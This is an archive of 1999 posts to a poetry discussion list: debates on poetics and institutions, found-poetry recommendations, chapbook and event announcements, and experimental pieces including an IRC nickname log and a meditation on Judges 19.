Considering emotion is currently out of fashion; to oppose one section would lead to acknowledgement of import of the second. Separatist acts lead to a double sign whose connotive signifies power. A signifier-fied relation, Kristeva-n poles of duplicity, a named thing in opposing forces. "One moves in circles about oneself because one has no other in which to reason, let alone be." Thilleman. Corruption is ahead of us. Beyond "words and artifice in lines; hence corruption." The motion in emotion has force albeit difficult in page transcendence. Save us from fashion's bowdlerized statement. Abandon such truck and giving of levity to such garbage.

Poetry needs a schtick; an igneous renaissance. Yes, stone. Einstein. One-stone. The clean, clear thing, an impossibility through medium flaws. Corruption creates the trend of sphericity of humans, the withering, the curling up and active avoidance of one to another. Circumnavigation through words of a person in survival, that is, a sphere, says little. What else are our optives?

The contaminant is the sheet. Can any of us avoid it's latent connotative value? By connotative I am thinking of Saul Kripke's notion of a fixed reference, the way when we "identified light we fixed a reference." Use of the sheet to print brings all of it's values to cascade upon the poem. The prevalence of the sheet as a a locus of invested capital to cover remaining free space for the eye and cajole it's viewers to sphericity. To a clos-edness. Rock, scissors, paper-mache paste squares. Reguardless of the poem's contained material, the influx of the notion of sheet will still taint the media of the poetry. Two issues next to each other in same size, width and height, repel the reader to superfluous choices based upon colors and adroit text reads. Journals are the sea; literature flows into it at will. While there are other options, Web journals, hand printing and so on, each's connotations are ignored or rarely explored.

Perhaps I missed something but the loss of the scientific realm has been under-discussed yet one a number of folks have been attempting reclaimation of. So why this failure, why not re-negotiate terms of poetic science? That is, poetry as science, as an interpenetrated possibility to solve the real.

Something has changed. Form _and_ function are never more than the extension of content. If we end the lyric through believing Beauty is within the spiral of the words projected upon the real and therefore rejected personifications are unnecessary, then where are we currently? A pie-tasting contest where lack of pie, the object, squared or otherwise, then becomes the modus operandi of the poem, so to speak.

Be well

David Baratier

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239. nora chai
address query
Sat 22 May 1999

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does anyone know judith baumel's e-address?-- or, if ms. baumel is on this list, perhaps she could get in touch with me... thanks a good deal.

nora

p.s. i managed to avoid the word "backchannel." this is significant since none of my poetry seems to avoid the word "metal," no matter how hard i try.

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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240. Leonard Brink
Keith Waldrop
Sun 23 May 1999

THE EIGHTH DAY
a new chapbook by Keith Waldrop

is now available from Instress, PO Box 3124, Saratoga, CA 95070 for a mere US$4, postage paid. Please make checks payable to Leonard Brink.

As with all Instress chapbooks, a sample can be seen at http://home.sprintmail.com/~windhover

Note: Subscribers to the series will receive this, together with the Frumkin and Hocquard chaps, and _Inscape_ # 6 -- French Poets near the end of June. (The subscription price is $10)

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241. Julie Johnson
call for work for Duration: A journal of international poetry
Sun 23 May 1999

A new e-journal, Duration: a journal of international poetry, is now accepting submissions for its first issue. Please send all inquiries to Jerrold Shiroma at: [redacted] with "Duration Submission" in the subject header.

We are especially interested in translations of contemporary poetry.

Reviews / essays are also particularly welcome.

The Duration journal operates in conjunction with Duration On-line...a web-site devoted to international poetry, running in conjunction with the Duration chapbook series. All located at:

http://members.xoom.com/Duration/durationhome.html

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242. Wendy Kramer
ray johnson & hannah weiner
Sun 23 May 1999

Hello, it's wendy kramer. at the risk of stating/noticing what may be the obvious to people, can someone fill me in on ray johnson & hannah weiner's acquaintance?

i was leafing through some photocopies of new york correspondance school stuff / ray johnson stuff & there was a sheet of the semaphore flag symbols. and so of course i thot of hannah weiner's code poems and as i was flipping through some more and thinking how the correspondance school meeting notes from ray johnson were sounding a little like gertrude stein (& thot of his collage portrait of stein) and then sounded quite a lot like hannah weiner's typing in clairvoyant journal; then, flipping through some more, lo and behold there was a new york correspondance school meeting seating chart with hannah weiner's name in one of the spots bottom row smack in the middle.

So, does anyone know anything about them knowing each other? the performance dates for code poems mentioned in the book are roughly contemporary with the stuff i was looking at.

as a final note, there was also in this ray johnson stuff a sheet of moticos symbols-- remember the filled in black figures derived from (as i remember from the whitney exhibit) the outlines of his moticos collages. and again, they have an affinity with the illustrations of semaphores and other code in code poems. the semaphore figures the sailor holding for with flags in various motico-like postures. !!

please backchannel or front if there's interest.
thanks

dee

↑ Index

243. Alan Sondheim
NIKUKO FLOODING, FLOODED (fwd)
Sun 23 May 1999

\

NIKUKO FLOODING, FLOODED

IRC log started Sun May 23 15:52
*** Value of LOG set to ON
--=[#Nikuko] Nikuko (sondheim@166.84.1.68) joined the channel.
*** Users on #Nikuko: @Nikuko
*** #Nikuko 927489138
*** Nikuko is now known as sQ6759062
*** sQ6759062 is now known as uF7723556
*** uF7723556 is now known as kD1618053
*** kD1618053 is now known as pi4576183
*** pi4576183 is now known as jH600529
*** jH600529 is now known as oo1608515
*** oo1608515 is now known as rs3190324
*** rs3190324 is now known as nt9130257
*** nt9130257 is now known as ht4882044
*** ht4882044 is now known as oN909919
*** oN909919 is now known as uK8240827
*** uK8240827 is now known as ww4011691
*** ww4011691 is now known as hi1484913
*** hi1484913 is now known as vh6819757
*** vh6819757 is now known as uw1631326
*** uw1631326 is now known as Nikuko
*** Nikuko is now known as blood
*** blood is now known as jb1313571
*** jb1313571 is now known as an9490187
*** an9490187 is now known as pl3239249
*** pl3239249 is now known as kE5421158
*** kE5421158 is now known as blood
*** blood is now known as Nikuko
--=[#Nikuko] Nikuko [sondheim@166.84.1.68] has left the channel.

** Signoff: Nikuko (<VeNoM v2.01> - The end of the world draws near..)
IRC Log ended *** Sun May 23 15:55

I always know that if I lose a part of me, I retreat and look at my tooth or finger sitting on a shelf. I do know Nikuko feels the same.

Sometimes messages come from far away. In childrenhood are lost teeth and limbs. Discards in backyards.

Hello, I will call you soon.

↑ Index

244. Erika Stephens
Re: A "Defense" of Jacques
Sun 23 May 1999

Mark Prejsnar here:

I'd like to thank Brian Stefans for his excellent and generous discussion of what i said about Jacques Debrot, and ultimately S. Schaefer....

I've lived with a scientist (who also theorizes on the philosophy of science) for 18 years or so, often helping with her work.... And i have no problem in broad outline with your use of Kuhn. My biggest objection here is that when you get down to concrete details, the gaps between different generations and different tendencies in poetry *cannot* be precisely likened to paradigm shifts in the sciences. The whole point of Kuhn's idea, is that one paradigm pretty much rools OK? at a given time, in a given science. I hope (and intend, if i have anything to do with it!) that one general frame will never dominate good poetry writing. Poetry isn't about proving that one single approach is "right"!

And in fact the boiling up of good poetry after 1973 in the US didn't that much try to force a single frame onto contemporary poetry... Those poet/theorists tended to a fairly wild and anarchic array of *different* emphases and theories... This is one reason so many people have dismissed Standard's tirade (and, on a different but related note, why i've been somewhat whimsically urging people to stop using the "L phrase" altogether)

But if you were gonna proceed with this argument, i feel you'd need to flesh it out with details: all models of the history of the sciences, that posit a paradigm shift, go into some detail about the exact differences that distinguish competing paradigms.

There are a million ways to approach this, but just for instance: i have been reading Martine Bellen's Tales of Murasaki, a Sun and Moon book of poems, and Cole Swenson's Try (published by the University of Iowa Press! speaking of the complexities of tendencies...) Now how might your argument work vis-a-vis

those two books i wonder? Is Swenson the "older" paradigm (L-po) and Bellen the new?? Are both the old? Don't know much about either poet, but to me CS is the more established and widely published one, so i found myself assuming she wd. represent the "older" paradigm as you put it. But maybe Bellen's work has just slipped past my radar till now. In fact on the whole there is more connected syntax in Try and more unexpected and extreme verbal disjunction in Bellen's Murasaki. In any event they seem to me to be both recognizably: work published in the last 5 years of the 20th century, in the US. They (like so much contemporary work) do not strike me as representing paradigms, but interesting writing by amazingly gifted and virtuosic poets... What seperates 'em seems to have more to do with choices made by Bellen and Swenson, than with any generalizable tendency...

What you quote regarding "contextual bias" is indeed interesting and intelligent. What i've said above is pertinent: if i understand what Jacques means by the passage you quote, i would agree but also suggest that the poets of the 70s and 80s are *so different* so much of the time, that to suggest that their lean toward awareness of the "subject in communication" is a grave flaw, has to appear close to nit-picking. Over and over, i wonder if i'm just too amiable, or (as i actually believe of course) if it isn't the case that even pretty balanced and friendly commentators feel a need to belittle others (grouping 'em questionably together with that L phrase) because they just don't feel there will be enuff room for themselves, otherwise, somehow!

Hell, i can't help feeling that the more people appreciate the best writing of my time, Coolidge say, or Hejinian, or Andrews, the more chance i have of being judged well and in a balanced way, and not thru conservative or ill-informed or screwed-up filters...

Hope i wasn't too harsh in response to Jacques (as seems to be implied in a few places in your post); that wasn't the feel i wanted to convey at all, and i also think that the things he's said on these topics are excellent and much appreciated.

mark

↑ Index

245. **Lawrence Upton.**
(no subject)
Mon 24 May 1999

Writers Forum announces publication of 4 more issues of Domestic Ambient Noise by Bob Cobbing and Lawrence Upton

Microphone 0 86162 879 9
Awakening those inclined to doze 0 86162 880 2
Lord Butterfield 0 86162 881 0
Lady Marge 0 86162 882 9

Each costs £1 sterling plus packing and postage
Order from New River Project, 89a Petherton Rd, London N5 2QT - s.a.e. / i.r.c. with enquiries
or order through your favourite bookseller

L

NATO, cradle to grave

↑ Index

246. Alan Sondheim
Her, through Bethlehem
Mon 24 May 1999

\

Her

Last night, I couldn't sleep, violent insomnia, dismemberings. I heard voices over and over again coming towards me, devouring me. My ears were consumed in the fire of frantic voices. Voices wouldn't let me sleep in peace, these voices. I heard a vast and noisy blanket descend over the bed full of voices. Voices whispered to me of dark things I could not comprehend. Voices whispered to me of things I understood in unknown languages. Screams in hebrew and aramaic - loud voices in akkadian and mitannian. My tongue was consumed in a fire of futile replying; I had no voice. Voiceless, my vocal cords no longer murmured, my throat gouged out. In loving reply, I screamed, voiceless, back into the whirlwind. The Book of Judges screamed in reply: Judges 19, 20, 21:

Why did the host offer to throw his virgin daughter out to the Benjamin men? Why does the concubine, _pilegesh,_ remain unnamed? Why was she thrown out to them? Why was Israel mapped in that long journey on her body the unknown man crisscrossing the country - her corpse split among the tribes, the violent war which followed? Who were these people; why do they disappear from the ensuing fray? Why was she repeatedly raped? Why did the concubine return initially to Bethlehem? Why did the war result in further rape and pillaging? What drove these men out of their huts in such a fash- ion? Why is this tale of men spelled out in carnage - why is no one named? Later the ark's carried uselessly back and forth over the land of the Philistines - bringing hemorrhoids

and mice - later returned - hemorr- hoids and mice cast in gold. Why this eternal distribution? But who was the concubine? Why does it say earlier she played the harlot? (Against him or on him, then to her father's house - he follows, brings her back after assuagement, entertainment - a delay like that before brutal orgasm - then they stop at the fatal house in Bethlehem - what became an inn of violence and despair - what began in grace and kindness. Think of the night, it's night there in the town, there are rough men about, this host takes the party in, there's banging out the door. Flickering lanterns. There are loud voices, drunken voices, demanding the man - they're going to fuck him. The host offers the daughter instead, as well as the concubine. The text seems slightly contrary here. The men wouldn't listen to him so they took the concubine, raped her all night long. She was dead on the door- step; the man came out and took her with him. What did he say to the host? The host had taken them in? The man distributed the body among the tribes; they'd never seen anything like that, not since they came out of the land of Egypt. There had to be war. The other tribes prevailed over Benjamin; it took a while. Benjamin himself had been a favorite son - later there's Samuel anointing Saul - from Benjamin again. I hear the voices outside the host's house which has become an inn; the man and his concubine and asses are staying gratis. The host is hold; he's kind, helpful. The rest of the folk wouldn't have anything to do with the visitors - they weren't helpful at all. It's the night before; they're all speaking happily. The pilegesh doesn't know she's about to die, then dismembered, cast among the tribes. There's the sound of men outside - they're drunken, surly, out of control. Surely they were out of control. Speaking the language of the Bible, mouthing it - the language which would later hold them in abeyance, name- less as well. All these characters will disappear into the fray. Later, millennia later, I'll be sleeping; voices will violate my body, strange mouths will appear breaking through my skin. There are screams and taunts from all of them - only my original mouth, taken over by the concubine - moaning and fearful - knowing now what's coming - it's all written down - I'll call her Shekinah -

---

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247. **travmar03**

Fw: Highwire Browbeating Reminder: Poetry and Photography

Mon 24 May 1999

Please put the following message out on the (virtual) wire to whomever you think will be tittillated, tantalized, and tickled to see two poets pull out all the stops. See poisioned apples, exploding cheesesteaks, asthma causing summer air, freshly brewed poppy tea, and some of the most exciting poetry in the Northeast Corridor today. Immediately following the reading you're invited to

view The American Ritual, photographic projections by photographers Rick Buckman and Elizabeth Riley.

Battle of the Small Press Editors

Katy Lederer
Editor of Explosive
and
Michael Magee
Editor of Combo
will read at Highwire Gallery
8 PM
Saturday May 29, 1999
139 North Second Street
Philadelphia
BYOB
Thanks
Greg Fuchs
Kyle Connor

↑ Index

248. Linda Russo
define "institution"
Mon 24 May 1999

first want to thank Marcella Durand belatedly for some much needed clarification re St. Marks and more particularly her talk at Barnard Conference (re 4/23/99 Poetics List post "Barnard Report"). My hastily scribbled notes thank you too.

Marcella raises the q. which seems at the heart of the recent thread re Power & Language Poetry (reflecting now on Presjnar's response to Debrot re Schaefer's RHIZOME essay) -- poets relations to "institutions" (and thus to Power?), especially in discerning whether or not individuals *have* power. Our dialogue was not abt. whether individuals have power, but what be the function of space-maintaining institutions, but I see in putting these two issues side by side a fruitful bleeding, as in colors that bleed, if anyone out there would like to draw some blood. I don't mean it do sound as violent as all that! just colorful.

Anyway, I objected to their (the St. Marks' panelists) reference to the Poetry Project as a "non-institutional institution" simply because that didn't make sense, seemed Lacanian semanticism ("she doesn't lack, she lacks lack, etc.). The gist of the issue I raised was how do "dialogues" that occurs in a physical/social space get into print, by what means does a dialogue continue so as to be an "extension" or "report" of what happened in that space? I

questioned whether the Poetry Project Newletter, fine as it is, didn't serve more of an "institutional" function (that of maintaining the institution) than a "poetic" function (i.e. that of continuing the dialogues that occur in that space).

Marcella responded:
>But yes, one of the intrinsic problems of being a "space," especially a
>social space, is that others will inevitably feel excluded, at least
>physically or geographically, from that space. Which is why the Project
>is interested in website and e-mail potentials as a way of overcoming
>that obstacle, as well as the "regional updates" section of the
>Newsletter. It is somewhat of an "office policy" to try and continue a
>poetic dialogue beyond spatial limitations. I think this issue also plays
>into being a non-institutional institution. What is perceived as
>"institutional"? At what point does an organization, a social scene, a
>dialogue, become institutionalized?

Likewise, what is it to be a "non-institutional institution"? I am by no means
attacking St. Mark's & the many fine poets and goings-on associated with
it/them, and the website & newsletter which do a great job of continuing "beyond
spatial limitations." I'm interested in spatial limitiations and of course the desire
to transcend them. And thus interested in how poetic dialogues carry on, shift, or
continue outside of the physical spaces in which they occur; lost in translation as
they say? We all know what makes meeting possible, whether by sharing
one's space/time/money or by securing the funding (getting a "share" of someone
else's space/time/money) -- but how can poets "keep them" from becoming
"institutional" -- and is that what's at stake? Is it *bad* to be institutional (in this
day and age? or a necessary evil?) And isn't avoiding institutionalizing then
battling the canonizing 'tendancy' of literary history, which constructs movements,
lineages, coherencies where there were before people making poems?

Like Marcella, I'm interested in when an organization (or a person!) *becomes*
an institution. Perhaps an interest somewhat disinterested: a taxonomic desire
(that is, if taxonomy = a system of classification and taxonomic = tending
toward such a system) that hopes to extend beyond that grand taxonomy
canonization and see what gets left out why. I'd say if it strives toward long-

term self-maintenance and deals with money (especially in such amounts that an 'administration' comes into existence) then its an institution. Organizations on the other hand crop up when a certain issue arises, and run mostly on the energy of people involved. There's a casualness about them no matter how serious they in fact are. A reading series, as much as it is organized, is an organization. A little magazine too, and a small press, though these seem to commence striving a bit more toward permanence than did, say, mimeo revolution publications (i.e. by soliciting subscribers and seeking non-profit status -- though this again may be a *necessary evil* not necessarily evil, a sign of the times). They might rely on an institution (the NEA or SCA, say) but don't strive to be like one. Organizations have push, institutions *have* power.

↑ Index

249. Chris Stroffolino
DYLAN B-DAY THOUGHTS OF LUOMA
Mon 24 May 1999

And I'm defrosting today. Laundry stranded in the mat (above which rohrer lives, just as jarnot used to live above "under the pig" across from the luna lounge on ludlow where luoma used to go for laffs). It's raining love, the radio sounds so burlington today so thinking about the past that was a hope of art not sucking until drunk. but not those "reading reports" but the particular way i realize that almost everybody i know i somehow met "through poetry" or "the scene" which would seem distinct from poetry if it were less humid thunder to bike sideways o'er the brooklyn bridge for its birthday just like the white wing (fuschia) dove at the one's who stand so frown (for you know we couldn't stay black against the night). Still no sound of ice falling from the roof of the freezer's mouth....

Anyway, I do love the poetry scene when it leads to things outside itself. So, I went to that Bar 13 last night again (for those in, or planning to visit NYC, if you're at all interested in going out at MIDNIGHT ON A SUNDAY To dance to 60s (sixties) music, and watch people in their early 20s sometimes in "60s costumes", please contact me---I'm always looking for people to go with, not liking to "go it alone" as it were.

I discovered this place, because John Arizza and Greg Fuchs and Brett Evans and others had a reading there once or twice, but I didn't know it featured 60s dancing until I happened to be coming back from this birthday party for some woman (who I kinda met through louma), whose father runs the hair-club for men, and we were looking for somewhere to go, and walked in and they were playing TOMORROW NEVER KNOWS and I was hooked, and even bill luoma decided to stay and dance (96 tears or incense and

peppermint)---and I've gone many times since, last night with Jody, a great DJ (I'm trying to set him up with the FENCE people for some dance party) who people say looks like me (though he's taller, thinner, and more african), and it was really crowded, and we got there too late to get the tambourines they were handing out, but not too late to him them play THE RAPPER by the JAGGERZ, then seque into 25 MILES by Edwin Starr, and then SOUL FINGER by the BAR-KAYS (just before they died in that otis redding rush crash), and why were they handing out tambourines, not perhaps because it was dylan's birthday eve, but because it was the second anniversay of the opening of 60s night at this place (and I got thinking, it was EXACTLY TWO YEARS AGO that I (and louma, etc.) happened upon this place, and so i mark an anniversary too...(and defrosting is slow, but the rain continues....)

c

P.S. DOES ANYBODY HAVE A TAPE OF SUN RA ARKESTRA ANN ARBOR 1973 concert?

we'll meet on edges soon,

chris

↑ Index

250. Poetry Project
apt sublet
Mon 24 May 1999

Sublet available from mid-June to July 31st
in East Village

Very clean, quiet, railroad apartment on E. 2nd St. between 2nd & 1st Aves,
lots of light & fully furnished.

$1500 plus deposit

Call Brenda or Atticus at [redacted] if interested.

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251. pete spence
Re: contact info for peter jaeger?
Mon 24 May 1999

---

thanks to the six people who ordered Hannah Weiner's WRITTEN IN/THE ZERO ONE you should see it it your mailbox about now. there are about 150 to 200 copies left it didn't get much distribution back then for one reason or another. so anyone else interested can e-mail me : [redacted]

thank you pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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252. Jordan Davis
the suck of art
Mon 24 May 1999

anybody doing anything about this war we're having?
or this capitalism we're hoovering?
or this atomization of the intelligence we're endrunning by singing along
with creative studies?

Isn't political efficacy something poetry goes alongside of, is inspired by, inspires, or does it have to EMBODY it -- ENACTMENT HOUNDS, they called them --

please implicate me,
Jordan

↑ Index

253. Stephen Cope
Query for Caribbeanists?
Tue 25 May 1999

I remember hearing of a scholar who used the phrase "linguistic insurrection" to discuss (I believe) certain uses of ideolect in Caribbean poetry/lit. Might anyone know who I'm thinking of?

Thanks in advance,

Stephen Cope

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254. Jena Osman
found poetry
Tue 25 May 1999

I'm interested in poems that were "found" inside of other texts (such as Cage's mesostics and Reznikoff's _Testimony_). What are some favorites in this genre by others? Any critical texts about these kinds of procedures I should know about?

Thanks,
Jena Osman
[redacted]

↑ Index

255. Lowther,John
FREE MAGAZINE OFFER
Tue 25 May 1999

---

this offer is for non-US folks

i've got 5 copies of my last magazine issue
ITSYNCCAST
sitting at the ready
to be sent out to the 1st 5 requests
outside of the US

the mag has 92 pages
and features work by

Paul Vangelisti
Tracy Grinnell
Jackson Mac Low
Guy Bennett
Tim Fletcher
Emily Grossman
H.T.
and lots more...

↑ Index

256. Poetics List Administration
beer-related poem contest / Brooklyn Brewery
Tue 25 May 1999

---

it was requested that I forward this; contact information below. Chris

---

A first-place prize of $500 will be awarded for the best beer-related poem on the blank side of a Brooklyn Brewery bar coaster. Deadline for submissions: September 30, 1999. Coasters may be obtained from establishments serving Brooklyn Brewery products or by calling, writing or e-mailing the brewery at

79 N 11 St., Brooklyn NY 11211. Phone [redacted]. E-mail: [redacted]. Entries may be submitted in person or by mail. Winners will be announced at the Poetry Olympiad to be held at the Brooklyn Brewery perfomance space in November

1999. The last Olympiad featured teams fielded by the MFA writing programs at NYU, Columbia, Saral Lawrence, the New School, and Brooklyn College.

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257. **ken|n|ing**
Re: the suck of art
Tue 25 May 1999

> Jordan
> What mean you by poetry? What mean you by political efficacy?
> Patrick F. Durgin

k e n n i n g_____ a newsletter of contemporary poetry poetics & nonfiction writing _____http://www.avalon.net/~kenning 418 BROWN STREET #10 IOWA CITY IOWA 52245 USA

On Mon, 24 May 1999, Jordan Davis wrote:

> *anybody doing anything about this war we're having?*
> *or this capitalism we're hoovering?*
> *or this atomization of the intelligence we're endrunning by singing along with creative studies?*
>
> *Isn't political efficacy something poetry goes alongside of, is inspired by, inspires, or does it have to EMBODY it -- ENACTMENT HOUNDS, they called them --*
>
> *please implicate me,*
> *Jordan*

↑ Index

258. **Billy Little**
Re: the suck of art
Tue 25 May 1999

---

someday i'll wish upon a star and wake up where the Serbs are far behind me where missiles melt like lemon drops away above the silo tops thats where you'll find me

totally black lamb with long white tail suckling totally white ewe

bombing is so barbarian so uncivilized rude to the max
retrograde totally twentieth century
bombing the antithesis of thinking

tantrum not a tactic
if you don't do what nato say
nato rip your grandma's legs off
bomb you bakery bomb you church
blow you dad out of bathtub
we should drop cake from the clouds above skopje
apple pie, cherry pie, birthday cake, strudel, sticky buns, muffins, scones
drop ovens, drop microwaves, drop cell phones into border camps
why doesn't microsoft or apple race a few computers right to the camps so
we can hear first hand, set up a server for the camps, what do you need,
drinking water let's bring them a barge or three of glacier
advertising money couldn't buy.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

259. **miekal and**
Re: found poetry
Tue 25 May 1999

Jena

the lifelong master of found poetry is the venerable Bern Porter--The Book of Do, The Book of Dont, CRCNCL, The Manhattan Phonebook, Found Poems, The Waste-makers. Most of his published work since 55 or so has incorporated every manner of found experimentation.

As this is a wonderful question deserving attention, I'll try to post those titles I know of, which might be numerous, & then what separates found texts from plagiarized texts?

miekal

found out

↑ Index

260. **Stephen Ellis**
Re: define
Tue 25 May 1999

---

re: Institutions, poetry, for example, has been a state-infected form of synecdoche ever since Alexander, burning down the home-town, spared Pindar's "house", poetry falling thereafter prey to the spiralling disappearance of "world" into the upper regions of epistemology by way of legal quarantine over a person's "private (p)arts" - law by concensus, might making rite a form of atavism critically dissembled yet not without simultaneously milking it of resident function. Institutionalization = the ability to dissect all forms of threat to stability by invoking them as "test cases", or "institution is the same as precedent", memory being consequent to exclusion, making a line of tone at once powerless and "special"; the systemization of stars constitutes the first institution; social life was determined by nothing but

> *From: Linda Russo <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: define "institution"*
> *Date: Mon, 24 May 1999 13:20:40 -0400*
>
> *first want to thank Marcella Durand belatedly for some much*
> *needed clarification re St. Marks and more particularly her*
> *talk at Barnard Conference (re 4/23/99 Poetics List post "Barnard*
> *Report"). My hastily scribbled notes thank you too.*
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> *to*
> *commence striving a bit more toward permanence than did, say, mimeo*
> *revolution publications (i.e. by soliciting subscribers and seeking*
> *non-profit*
> *status -- though this again may be a *necessary evil* not necessarily evil,*
> *a*
> *sign of the times). They might rely on an institution (the NEA or SCA,*
> *say)*
> *but don't strive to be like one. Organizations have push, institutions*
> **have* power.*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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261. Jacques Debrot
Re: Found Texts
Tue 25 May 1999

Jena Osman had in mind, I'm guessing, texts produced through unvarying procedures.

But some recent & non-procedural examples of "writing through" found texts that I've enjoyed particulalry are Douglas Messerli's AFTER, Guy Bennet's LAST WORDS, & Aaron Shurin's INTO DISTANCES. Sections of Sianne Ngai's recent book, CRITERIA, also do very interesting things with found texts.

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262. Robin Tremblay-McGaw
Class, Gender and Innovative Poetics
Tue 25 May 1999

Class, Gender and Innovative Poetics

Robin Tremblay-McGaw here. I want to announce that Kathy Lou Schultz and I will be editing the next issue of HOW2's Forum on Class and Poetics. See below for the call for work.

Thanks to the efforts of feminist poets, critics, and editors, it is now

possible to identify a discourse--both scholarly and creative--of gender

and poetics. In the 1980s, journals such as HOW(ever) put the spotlight on these issues, particularly related to innovative or experimental practices, thereby providing a forum for the exploration of a vocabulary for talking about gender and poetics. Today we find ourselves trying to create a vocabulary for addressing the complex issues of class, gender, and innovative poetics. As Kathy Lou Schultz asked in her Tripwire essay, "What's a working class poetic, and where could I find one?" Or we could ask, what are the (lipstick) traces of class? How do we make present the absence of class in discussions about gender and poetics? What are the intersections of race in discussions of class? How are these things fused and CON-fused? How do/can we picture/trace working class issues in formally innovative ways? What do the circumstances of literary production surrounding writers themselves--and the writing produced--have to do with one another, with innovation, and with gender?

Email submissions should be sent to: [redacted] as a text file included in the body of the email message.
HOW2 can be found at:
http://www.departments.bucknell.edu/stadler_center/how2/

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263. **Taylor Brady**
Re: found poetry
Tue 25 May 1999

Jena,

A few texts spring most readily to mind here:

Jackson Mac Low's _Words nd Ends from Ez_, _Virginia Woolf Poems_, _Barnesbook_, etc.
Ronald Johnson's _Radi Os_ (1st 4[?] books of Paradise Lost, written-through by subtraction)
Hannah Weiner's _Weeks_ (I don't think it sticks very "purely" to language heard on the news, but most of it's close)
Tom Phillips' _A Humument_
Joan Retallack's _Errata 5uite_ (Are you looking for poems "found" in single texts, or collaged from a number of sources?)
David Bromige's Sonoma County newspaper prose poem, a lovely piece whose title I'm unfortunately not able to recall

I also remember well a piece by Rosmarie and Keith Waldrop, read by them at the Ear Inn back in '95(?), which was created by successively working through

Wordsworth's "Tintern Abbey," each time subtracting a certain proportion of words. Rosmarie's use of Wittgenstein in _The Reproduction of Profiles_ and _Lawn of Excluded Middle_, while not a pure example of the genre, also might be of interest.

In the realm of badly-remembered secondhand information, didn't I also hear somewhere that dictionary definitions had some role as "source material" in Clark Coolidge's _The Maintains_?

Analogies in music too numerous to document here - and probably off-topic, though I'd be happy to backchannel if you're interested. One I'll mention, since it connects to one of your examples, is Cage's _Quartets I-VIII_, which is a subtractive rewriting of American Protestant hymns.

I'm drawing a blank when trying to think of critical prose on this specific topic other than that by the poets/composers themselves, though there are a number of texts which might be extended to apply here by analogy. Which leaves Mac Low's and Cage's "explanatory" prose glosses, along with Cage's _Diary_ [_Journal_?] as good introductions to the procedures, some of the aesthetic and political claims that have been made for them, etc.

I hope this is at least a little helpful.

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Jena Osman
Sent: Tuesday, May 25, 1999 9:21 AM
To: [redacted]
Subject: found poetry

I'm interested in poems that were "found" inside of other texts (such as Cage's mesostics and Reznikoff's _Testimony_). What are some favorites in this genre by others? Any critical texts about these kinds of procedures I should know about?

Thanks,
Jena Osman
[redacted]

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264. Jacques Debrot
Re: E-Mail Nigel Hinshelwood??
Tue 25 May 1999

If anyone has an e-mail or a phone # for Nigel Hinshelwood would you backchannel it to me at [redacted].

Thanks in advance.

Jacques

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265. Kevin Magee
Re: PUTTING THE CARTE BEFORE THE POST
Tue 25 May 1999

84
TO INESSA ARMAND

Dear friend, I have just read, my dear friend [the words
"my dear friend" were written by Lenin in English--Ed.]
I have just read the telegram, and changed the envelope
marked for "A" [The letter has never been found.--Ed.]
I also want to correspond. Let's continue to correspond.
The precedent letter was sent in too much hurry. Proof:
There were three electors from Warsaw for the worker curia.
 Comedians! They can repeat it. They know it by heart.
   Today a meeting of the Lefts here: everyone came,
2 Swiss + 2 foreigners (Germans) + 3 Russ. Jew. Polish.
Schwach! There it is, my fate. I think it will be almost
a failure. [The lecture did not come off, only a talk.--Ed.]
Now there is Radek. We (Zinoviev and I) recognized Bukharin.
The article by Nota Bene No. 6 of Jugend-Internationale
have you seen it? I replied to his stupidities in No. 2.
You haven't seen it? It was already a few days ago.
   How I laughed at your postcard, I really had to hold
my sides, "In France there is no such measure as the ha,
but there is the acre, and you don't know how big an acre
is . . . " Ha ha ha! It was France--imaginez vous?--that
introduce the metric system. A ha = hectare = 100 ares.
An acre is not a French measure but an English one.
It really is funny that you do not often come across the words
hectare, ha, etc. They are dull, technical words

hugely

politick:

"I advise you to throw out altogether

#3

the "demand (women's) for freedom of love".

Sent from Berne
Collected Works
Vol 35, pp. 180-81

165: REFERENCE IS TO A PAMPHLET
FOR WORKING CLASS WOMEN
THAT INESSA INTENDED TO WRITE.
THE PAMPHLET WAS NEVER WRITTEN.

S. Vinogradov: Sokvovischa dushevnoi krasoty (Moscow, 1984)

December 1913 - April 1917
Lenin / Armand's correspondence

Armand, I.F. (Inessa Fedorovna, 1874-1920)
STATI, RECHI, PISMA (Moskva: Politizdat, 1975)

R A B O N I T S A

Pavel Podliashuk, Tovarisch Inessa:
"dokumental'naia povest" 4 ed. (Moscow, 1984).

"He walked with his eyes closed and every moment we thought he might fall to the ground."

Quoted by Marcel Body,
"Alexandra Kollontai," Preuves (Paris),
vol. II, no. 14 (April 1952), p. 17.

Jean Freville, Une grand figure de la
Revolution russe: Inessa Armand (Paris, 1957).

Lenin: vols. XLVIII & XLIX of
POLNE SOBRANIE SOCHINENII

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266. **Clark D Lunberry**
back/words
Tue 25 May 1999

From Tuesday's NY TImes:

May 25, 1999

Untangling Speech

By HENRY FOUNTAIN Back in the 1960's, fans of the Beatles spent hours playing their albums backward, destroying many a phonograph needle in an effort to decipher messages supposedly recorded in reverse concerning Paul McCartney's fate.

New research shows, however, that backward speech does not have to be unintelligible. Much as the brain can fill in missing words in a half-heard sentence at a noisy cocktail party, it can also make sense of reversed speech. If the Beatles had recorded "Paul is dead" in a certain way, all those needles might have been saved.

In the new study, reported in a recent issue of Nature, scientists at the California Institute of Technology and California State University at Los Angeles took a recorded sentence, broke it into equal short segments, and reversed each segment. They strung all the reversed segments together and played the sentence to listeners.

When the segments were about 50 milliseconds in length, the sentence was perfectly intelligible. As segments got longer, however, intelligibility declined, approaching zero when they reached 200 milliseconds.

The research lends support to recent theories of how speech is perceived. These theories hold that the brain does not rely so much on analyzing the spectrum of short-term sounds as it does on lower-frequency cues like intonation and modulation. As long as the segments were short enough, the brain was still able to decipher these cues.

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267. shemurph
contact info for Garrett Caples?
Wed 26 May 1999

Does anyone have an address (e-mail) handy for Garrett Caples? I recently experienced a hard-drive crash and my address book has been turned to powder. Please backchannel.

Sheila Murphy
[redacted]

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268. rebecca wolff
fence party
Wed 26 May 1999

Please come to rock Fence #3:

Thursday evening, June 17th, 8pm
533 Canal Street, #3, over by the Hudson River, New York City

Dancing, drinks, party favors: bring friends!

